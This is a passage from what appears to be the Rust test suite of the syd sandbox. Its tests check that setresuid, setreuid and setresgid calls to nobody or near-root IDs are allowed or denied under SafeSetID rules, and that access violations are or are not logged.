    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setresuid", ["-1", "-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setresuid_root_safesetid_deny_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must denied with EACCES for UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setreuid", ["-1", "1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setresuid_root_safesetid_deny_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must denied with EACCES for UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setresuid", ["1", "-1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setresuid_root_safesetid_deny_4() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must be denied with EACCES for UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setresuid", ["-1", "1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setresuid_root_safesetid_deny_5() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must be denied with EACCES for UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setresuid", ["1", "1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setresuid_root_safesetid_deny_6() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must be denied with EACCES for UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setresuid", ["1", "-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setresuid_root_safesetid_deny_7() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no matching UID transition defined.
    // The syscall must be denied with EACCES for UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setuid+${SYD_UID}:65533")
        .do_("setresuid", ["1", "1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setresuid_nobody_safesetid_allow_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setuid+${SYD_UID}:nobody")
        .do_("setresuid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setresuid_nobody_safesetid_allow_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setuid+${SYD_UID}:nobody")
        .do_("setresuid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setresuid_nobody_safesetid_allow_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setuid+${SYD_UID}:nobody")
        .do_("setresuid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setresuid_nobody_safesetid_allow_4() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setuid+${SYD_UID}:nobody")
        .do_("setresuid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setresuid_nobody_safesetid_allow_5() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setuid+${SYD_UID}:nobody")
        .do_("setresuid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setresuid_nobody_safesetid_allow_6() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setuid+${SYD_UID}:nobody")
        .do_("setresuid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setresuid_nobody_safesetid_allow_7() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let status = syd()
        .p("off")
        .m("setuid+${SYD_UID}:nobody")
        .do_("setresuid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | EINVAL);

    Ok(())
}

fn test_syd_0_setresgid_nobody_default_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setresgid_nobody_default_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setresgid_nobody_default_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setresgid_nobody_default_4() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setresgid_nobody_default_5() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setresgid_nobody_default_6() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setresgid_nobody_default_7() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

fn test_syd_0_setresgid_nobody_safesetid_deny_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setresgid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setresgid_nobody_safesetid_deny_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setresgid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setresgid_nobody_safesetid_deny_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setresgid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setresgid_nobody_safesetid_deny_4() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setresgid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setresgid_nobody_safesetid_deny_5() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setresgid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setresgid_nobody_safesetid_deny_6() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setresgid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setresgid_nobody_safesetid_deny_7() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setresgid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_0_setresgid_root_safesetid_deny_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must be denied with EACCES for GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setresgid", ["-1", "-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setresgid_root_safesetid_deny_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must be denied with EACCES for GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setregid", ["-1", "1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setresgid_root_safesetid_deny_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must be denied with EACCES for GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
    // typically run as root so if we run as GID=0 we cannot
    // detect the non-GID-change despite setresgid success.

    // SAFETY: Compared to the test setresgid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because GID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("setgid+${SYD_GID}:65533")
        .do_("setresgid", ["1", "-1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_access_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_0_setresgid_root_safesetid_deny_4() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SafeSetID is enabled, but no matching GID transition defined.
    // The syscall must be denied with EACCES for GID<=GID_MIN.
    // Note we use GID=1 rather than GID=0 because this test is
